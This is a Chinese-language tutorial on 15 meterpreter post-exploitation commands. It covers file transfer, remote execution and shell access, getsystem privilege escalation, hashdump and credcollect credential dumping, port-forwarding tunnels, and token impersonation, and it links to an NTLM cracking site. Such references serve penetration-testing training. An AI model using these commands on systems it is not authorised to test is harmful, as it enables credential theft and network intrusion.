meterpreter必知必會的15個命令
meterpreter是一種高級、隱蔽、多層面的且可動態擴展的payload,可以將反射dll注入到目標主機的內存中,還可以在運行時動態加載腳本和插件來進行后滲透利用。
包括提權、轉存系統賬號、鍵盤記錄、持久后門服務、啟用遠程桌面等,還有很多其他的擴展。而且,meterpreter shell的整個通信都是默認加密的。
因為meterpreter提供的是一個全新的環境,所以我們本文來講解一些必備的meterpreter命令,帶你入門并且逐漸熟悉這款強大的工具。
命令1:上傳文件到Windows主機
簡單來說,你可以上傳本機的任意文件到遠程目標主機中。
命令:
- upload <file> <destination>
注意:使用-r參數可以遞歸上傳上傳目錄和文件
命令2:從windows主機下載文件
download命令可以下載遠程主機上的文件
命令:
- download <file> <path to save>
注意:Windows路徑要使用雙斜線
如果我們需要遞歸下載整個目錄包括子目錄和文件,我們可以使用download -r命令
命令3:在目標主機上執行exe文件
我們也可以使用execute命令在目標主機上執行應用程序
語法也非常簡單
命令:
- execute -f <path> [options]
命令4:創建CMD新通道
如果你想在目標主機上執行命令提示符,你可以使用下列命令:
命令:
- execute -f cmd -c
命令5:顯示進程
ps命令會顯示目標主機上所有正在運行的進程
命令:
- ps
命令6:獲取目標主機的cmd shell
shell命令可以進入目標主機的cmd
命令:
- shell
命令7:獲取admin權限
getsystem命令可以提權到本地系統權限
命令:
- getsystem
命令8:使用Hashdump轉儲所有hash值
我們可以使用meterpreter shell來dump目標主機的當前系統賬戶和密碼。轉儲的內容是NTML哈希格式,網上有很多工具和技巧來破解它們。
NTLM在線破解:https://hashkiller.co.uk/ntlm-decrypter.aspx
命令:
- hashdump
輸出的每一行內容格式如下
- Username:SID:LM hash:NTLM hash:::
如圖所示
本次執行輸出了5個用戶賬號,分別是Administrator,Guest,HelpAssistant,Owner and SUPPORT_388945a0
命令9:使用Credcollect轉儲hash值
還有一個類似的腳本叫credential_collector,也可以收集目標主機的tokens
命令:
- run credcollect
命令10:創建端口轉發
meterpreter shell中的portfwd命令是轉發技術中最常用的一個命令,可以讓攻擊系統訪問本來無法直接訪問的目標主機。
add選項會將端口轉發添加到列表中,而且本質上會創建一個隧道。
請注意:這個隧道存在于meterpreter控制臺之外,任何終端會話都可以使用。
命令:
- portfwd add -l <portnumber> -r <Target IP>
命令11:刪除端口轉發
跟創建端口轉發命令類似,這條命令是刪除一條端口轉發記錄
命令:
- portfwd delete -l <portnumber> -p <portnumber> -r <Target IP>
如果你想顯示所有端口轉發記錄,你可以使用portfwd list命令,如果你想刪除所有的記錄,可以使用portfwd flush命令
命令12:在目標主機上搜索文件
搜索命令可以來定位查找目標主機上的特定文件。這個命令可以搜索整個文件系統,也可以搜索特定的文件夾。
例如,如果你想搜索目標主機上的所有txt文件,可以使用下列命令:
命令:
- search -f *.txt
命令13:獲取用戶ID
getuid命令會顯示主機上運行meterpreter 服務的用戶
命令:
- getuid
命令14:獲取系統信息
sysinfo命令會顯示系統名,操作系統,架構和語言等。
命令:
- sysinfo
命令15:模擬任意用戶(token操作)
這個進程對于攻擊像微軟活動目錄這樣的分布式系統非常有幫助,因為在微軟活動目錄中,本地訪問權限并沒多大用,但是如果能搞到憑證尤其是管理員憑證,那就非常有用了。
incognito最開始是一個獨立的應用,當你成功入侵系統后可以用它來模擬用戶tokens。這個應用后來集成到了metasploit,并且最終集成到了meterpreter中,使用如下:
- 在meterpreter會話中加載這個模塊非常簡單,只要輸入 use incognito命令即可
- 輸入list_tokens -u來顯示所有有效的tokens
- 然后我們需要模擬某個token來獲取其權限。還有注意,如果成功模擬了一個token,我們可以使用getuid命令來檢查當前用戶ID
- use incognito
- list_tokens -u
- impersonate_token “Machine\\user”